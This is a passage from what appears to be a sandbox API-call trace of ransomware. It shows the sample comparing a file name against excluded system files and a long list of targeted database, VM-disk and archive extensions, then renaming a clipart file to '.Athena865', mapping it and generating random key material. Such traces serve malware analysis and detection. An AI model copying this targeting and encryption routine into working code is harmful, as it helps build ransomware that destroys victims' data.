lpString2="pagefile.sys") returned -1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="boot") returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="ids.txt") returned 1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="ntuser.dat") returned -1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="perflogs") returned -1 [0129.710] lstrcmpiW (lpString1="J0287020.WMF", lpString2="MSBuild") returned -1 [0129.710] lstrlenW (lpString="J0287020.WMF") returned 12 [0129.710] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287020.WMF" | out: lpString1="J0287020.WMF") returned="J0287020.WMF" [0129.710] lstrlenW (lpString="J0287020.WMF") returned 12 [0129.710] lstrlenW (lpString="Athena865") returned 9 [0129.710] lstrcmpiW (lpString1="87020.WMF", lpString2="Athena865") returned -1 [0129.711] lstrlenW (lpString=".dll") returned 4 [0129.711] lstrcmpiW (lpString1="J0287020.WMF", lpString2=".dll") returned 1 [0129.711] lstrlenW (lpString=".lnk") returned 4 [0129.711] lstrcmpiW (lpString1="J0287020.WMF", lpString2=".lnk") returned 1 [0129.711] lstrlenW (lpString=".ini") returned 4 [0129.711] lstrcmpiW (lpString1="J0287020.WMF", lpString2=".ini") returned 1 [0129.711] lstrlenW (lpString=".sys") returned 4 [0129.711] lstrcmpiW (lpString1="J0287020.WMF", lpString2=".sys") returned 1 [0129.711] lstrlenW (lpString="J0287020.WMF") returned 12 [0129.711] lstrlenW (lpString="bak") returned 3 [0129.711] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.711] lstrlenW (lpString="ba_") returned 3 [0129.711] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.711] lstrlenW (lpString="dbb") returned 3 [0129.711] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.711] lstrlenW (lpString="vmdk") returned 4 [0129.711] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.711] lstrlenW (lpString="rar") returned 3 [0129.711] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.711] lstrlenW (lpString="zip") returned 3 [0129.711] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.711] lstrlenW (lpString="tgz") returned 3 [0129.711] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.711] lstrlenW (lpString="vbox") returned 4 [0129.711] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.711] lstrlenW (lpString="vdi") returned 3 [0129.711] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.712] lstrlenW (lpString="vhd") returned 3 [0129.712] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.712] lstrlenW (lpString="vhdx") returned 4 [0129.712] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.712] lstrlenW (lpString="avhd") returned 4 [0129.712] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.712] lstrlenW (lpString="db") returned 2 [0129.712] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.712] lstrlenW (lpString="db2") returned 3 [0129.712] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.712] lstrlenW (lpString="db3") returned 3 [0129.712] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.712] lstrlenW (lpString="dbf") returned 3 [0129.712] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.712] lstrlenW (lpString="mdf") returned 3 [0129.712] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.712] lstrlenW (lpString="mdb") returned 3 [0129.712] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.712] lstrlenW (lpString="sql") returned 3 [0129.712] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.712] lstrlenW (lpString="sqlite") returned 6 [0129.712] lstrcmpiW (lpString1="20.WMF", lpString2="sqlite") returned -1 [0129.712] lstrlenW (lpString="sqlite3") returned 7 [0129.712] lstrcmpiW (lpString1="020.WMF", lpString2="sqlite3") returned -1 [0129.712] lstrlenW (lpString="sqlitedb") returned 8 [0129.712] lstrcmpiW (lpString1="7020.WMF", lpString2="sqlitedb") returned -1 [0129.713] lstrlenW (lpString="xml") returned 3 [0129.713] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.713] lstrlenW (lpString="$er") returned 3 [0129.713] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.713] lstrlenW (lpString="4dd") returned 3 [0129.713] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.713] lstrlenW (lpString="4dl") returned 3 [0129.713] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.713] lstrlenW (lpString="^^^") returned 3 [0129.713] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.713] lstrlenW (lpString="abs") returned 3 [0129.713] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.713] lstrlenW (lpString="abx") returned 3 [0129.713] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.713] lstrlenW (lpString="accdb") returned 5 [0129.713] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0129.713] lstrlenW (lpString="accdc") returned 5 [0129.713] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0129.713] lstrlenW (lpString="accde") returned 5 [0129.713] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0129.713] lstrlenW (lpString="accdr") returned 5 [0129.713] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0129.713] lstrlenW (lpString="accdt") returned 5 [0129.713] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0129.713] lstrlenW (lpString="accdw") returned 5 [0129.713] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0129.713] lstrlenW (lpString="accft") returned 5 [0129.714] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0129.714] lstrlenW (lpString="adb") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.714] lstrlenW (lpString="adb") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.714] lstrlenW (lpString="ade") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.714] lstrlenW (lpString="adf") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.714] lstrlenW (lpString="adn") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.714] lstrlenW (lpString="adp") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.714] lstrlenW (lpString="alf") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.714] lstrlenW (lpString="ask") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.714] lstrlenW (lpString="btr") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.714] lstrlenW (lpString="cat") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.714] lstrlenW (lpString="cdb") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.714] lstrlenW (lpString="ckp") returned 3 [0129.714] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.715] lstrlenW (lpString="cma") returned 3 [0129.715] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.715] lstrlenW (lpString="cpd") returned 3 [0129.715] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.715] lstrlenW (lpString="dacpac") returned 6 [0129.715] lstrcmpiW (lpString1="20.WMF", lpString2="dacpac") returned -1 [0129.715] lstrlenW (lpString="dad") returned 3 [0129.715] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.715] lstrlenW (lpString="dadiagrams") returned 10 [0129.715] lstrcmpiW (lpString1="287020.WMF", lpString2="dadiagrams") returned -1 [0129.715] lstrlenW (lpString="daschema") returned 8 [0129.715] lstrcmpiW (lpString1="7020.WMF", lpString2="daschema") returned -1 [0129.715] lstrlenW (lpString="db-journal") returned 10 [0129.715] lstrcmpiW (lpString1="287020.WMF", lpString2="db-journal") returned -1 [0129.715] lstrlenW (lpString="db-shm") returned 6 [0129.715] lstrcmpiW (lpString1="20.WMF", lpString2="db-shm") returned -1 [0129.715] lstrlenW (lpString="db-wal") returned 6 [0129.715] lstrcmpiW (lpString1="20.WMF", lpString2="db-wal") returned -1 [0129.715] lstrlenW (lpString="dbc") returned 3 [0129.715] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.715] lstrlenW (lpString="dbs") returned 3 [0129.715] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.715] lstrlenW (lpString="dbt") returned 3 [0129.715] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.715] lstrlenW (lpString="dbv") returned 3 [0129.715] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.716] lstrlenW (lpString="dbx") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.716] lstrlenW (lpString="dcb") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.716] lstrlenW (lpString="dct") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.716] lstrlenW (lpString="dcx") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.716] lstrlenW (lpString="ddl") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.716] lstrlenW (lpString="dlis") returned 4 [0129.716] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.716] lstrlenW (lpString="dp1") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.716] lstrlenW (lpString="dqy") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.716] lstrlenW (lpString="dsk") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.716] lstrlenW (lpString="dsn") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.716] lstrlenW (lpString="dtsx") returned 4 [0129.716] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.716] lstrlenW (lpString="dxl") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.716] lstrlenW (lpString="eco") returned 3 [0129.716] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.717] lstrlenW (lpString="ecx") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.717] lstrlenW (lpString="edb") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.717] lstrlenW (lpString="epim") returned 4 [0129.717] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.717] lstrlenW (lpString="fcd") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.717] lstrlenW (lpString="fdb") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.717] lstrlenW (lpString="fic") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.717] lstrlenW (lpString="flexolibrary") returned 12 [0129.717] lstrlenW (lpString="fm5") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.717] lstrlenW (lpString="fmp") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.717] lstrlenW (lpString="fmp12") returned 5 [0129.717] lstrcmpiW (lpString1="0.WMF", lpString2="fmp12") returned -1 [0129.717] lstrlenW (lpString="fmpsl") returned 5 [0129.717] lstrcmpiW (lpString1="0.WMF", lpString2="fmpsl") returned -1 [0129.717] lstrlenW (lpString="fol") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.717] lstrlenW (lpString="fp3") returned 3 [0129.717] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.717] lstrlenW (lpString="fp4") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.718] lstrlenW (lpString="fp5") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.718] lstrlenW (lpString="fp7") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.718] lstrlenW (lpString="fpt") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.718] lstrlenW (lpString="frm") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.718] lstrlenW (lpString="gdb") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.718] lstrlenW (lpString="gdb") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.718] lstrlenW (lpString="grdb") returned 4 [0129.718] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.718] lstrlenW (lpString="gwi") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.718] lstrlenW (lpString="hdb") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.718] lstrlenW (lpString="his") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.718] lstrlenW (lpString="ib") returned 2 [0129.718] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.718] lstrlenW (lpString="idb") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.718] lstrlenW (lpString="ihx") returned 3 [0129.718] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.719] lstrlenW (lpString="itdb") returned 4 [0129.719] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.719] lstrlenW (lpString="itw") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.719] lstrlenW (lpString="jet") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.719] lstrlenW (lpString="jtx") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.719] lstrlenW (lpString="kdb") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.719] lstrlenW (lpString="kexi") returned 4 [0129.719] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.719] lstrlenW (lpString="kexic") returned 5 [0129.719] lstrcmpiW (lpString1="0.WMF", lpString2="kexic") returned -1 [0129.719] lstrlenW (lpString="kexis") returned 5 [0129.719] lstrcmpiW (lpString1="0.WMF", lpString2="kexis") returned -1 [0129.719] lstrlenW (lpString="lgc") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.719] lstrlenW (lpString="lwx") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.719] lstrlenW (lpString="maf") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.719] lstrlenW (lpString="maq") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.719] lstrlenW (lpString="mar") returned 3 [0129.719] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.719] lstrlenW (lpString="marshal") returned 7 [0129.720] lstrcmpiW (lpString1="020.WMF", lpString2="marshal") returned -1 [0129.720] lstrlenW (lpString="mas") returned 3 [0129.720] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.720] lstrlenW (lpString="mav") returned 3 [0129.720] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.720] lstrlenW (lpString="maw") returned 3 [0129.720] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.720] lstrlenW (lpString="mdbhtml") returned 7 [0129.720] lstrcmpiW (lpString1="020.WMF", lpString2="mdbhtml") returned -1 [0129.720] lstrlenW (lpString="mdn") returned 3 [0129.720] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.720] lstrlenW (lpString="mdt") returned 3 [0129.720] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.720] lstrlenW (lpString="mfd") returned 3 [0129.720] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.720] lstrlenW (lpString="mpd") returned 3 [0129.720] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.721] lstrlenW (lpString="mrg") returned 3 [0129.721] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.721] lstrlenW (lpString="mud") returned 3 [0129.721] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.721] lstrlenW (lpString="mwb") returned 3 [0129.721] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.721] lstrlenW (lpString="myd") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.722] lstrlenW (lpString="ndf") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.722] lstrlenW (lpString="nnt") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.722] lstrlenW (lpString="nrmlib") returned 6 [0129.722] lstrcmpiW (lpString1="20.WMF", lpString2="nrmlib") returned -1 [0129.722] lstrlenW (lpString="ns2") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.722] lstrlenW (lpString="ns3") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.722] lstrlenW (lpString="ns4") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.722] lstrlenW (lpString="nsf") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.722] lstrlenW (lpString="nv") returned 2 [0129.722] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.722] lstrlenW (lpString="nv2") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.722] lstrlenW (lpString="nwdb") returned 4 [0129.722] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.722] lstrlenW (lpString="nyf") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.722] lstrlenW (lpString="odb") returned 3 [0129.722] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.723] lstrlenW (lpString="odb") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.723] lstrlenW (lpString="oqy") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.723] lstrlenW (lpString="ora") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.723] lstrlenW (lpString="orx") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.723] lstrlenW (lpString="owc") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.723] lstrlenW (lpString="p96") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.723] lstrlenW (lpString="p97") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.723] lstrlenW (lpString="pan") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.723] lstrlenW (lpString="pdb") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.723] lstrlenW (lpString="pdm") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.723] lstrlenW (lpString="pnz") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.723] lstrlenW (lpString="qry") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.723] lstrlenW (lpString="qvd") returned 3 [0129.723] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.723] lstrlenW (lpString="rbf") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.724] lstrlenW (lpString="rctd") returned 4 [0129.724] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.724] lstrlenW (lpString="rod") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.724] lstrlenW (lpString="rodx") returned 4 [0129.724] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.724] lstrlenW (lpString="rpd") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.724] lstrlenW (lpString="rsd") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.724] lstrlenW (lpString="sas7bdat") returned 8 [0129.724] lstrcmpiW (lpString1="7020.WMF", lpString2="sas7bdat") returned -1 [0129.724] lstrlenW (lpString="sbf") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.724] lstrlenW (lpString="scx") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.724] lstrlenW (lpString="sdb") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.724] lstrlenW (lpString="sdc") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.724] lstrlenW (lpString="sdf") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.724] lstrlenW (lpString="sis") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.724] lstrlenW (lpString="spq") returned 3 [0129.724] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.725] lstrlenW (lpString="te") returned 2 [0129.725] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.725] lstrlenW (lpString="teacher") returned 7 [0129.725] lstrcmpiW (lpString1="020.WMF", lpString2="teacher") returned -1 [0129.725] lstrlenW (lpString="tmd") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.725] lstrlenW (lpString="tps") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.725] lstrlenW (lpString="trc") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.725] lstrlenW (lpString="trc") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.725] lstrlenW (lpString="trm") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.725] lstrlenW (lpString="udb") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.725] lstrlenW (lpString="udl") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.725] lstrlenW (lpString="usr") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.725] lstrlenW (lpString="v12") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.725] lstrlenW (lpString="vis") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.725] lstrlenW (lpString="vpd") returned 3 [0129.725] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.725] lstrlenW (lpString="vvv") returned 3 [0129.726] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.726] lstrlenW (lpString="wdb") returned 3 [0129.726] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.726] lstrlenW (lpString="wmdb") returned 4 [0129.726] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.726] lstrlenW (lpString="wrk") returned 3 [0129.726] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.726] lstrlenW (lpString="xdb") returned 3 [0129.726] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.726] lstrlenW (lpString="xld") returned 3 [0129.726] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.726] lstrlenW (lpString="xmlff") returned 5 [0129.726] lstrcmpiW (lpString1="0.WMF", lpString2="xmlff") returned -1 [0129.726] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.Athena865") returned 73 [0129.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.athena865"), dwFlags=0x1) returned 1 [0129.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.728] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32984) returned 1 [0129.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.728] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.729] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.729] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.730] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83e0, lpName=0x0) returned 0x154 [0129.731] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83e0) returned 0x100000 [0129.733] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.734] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.734] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.735] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.735] CloseHandle (hObject=0x154) returned 1 [0129.735] CloseHandle (hObject=0x17c) returned 1 [0129.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.736] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, 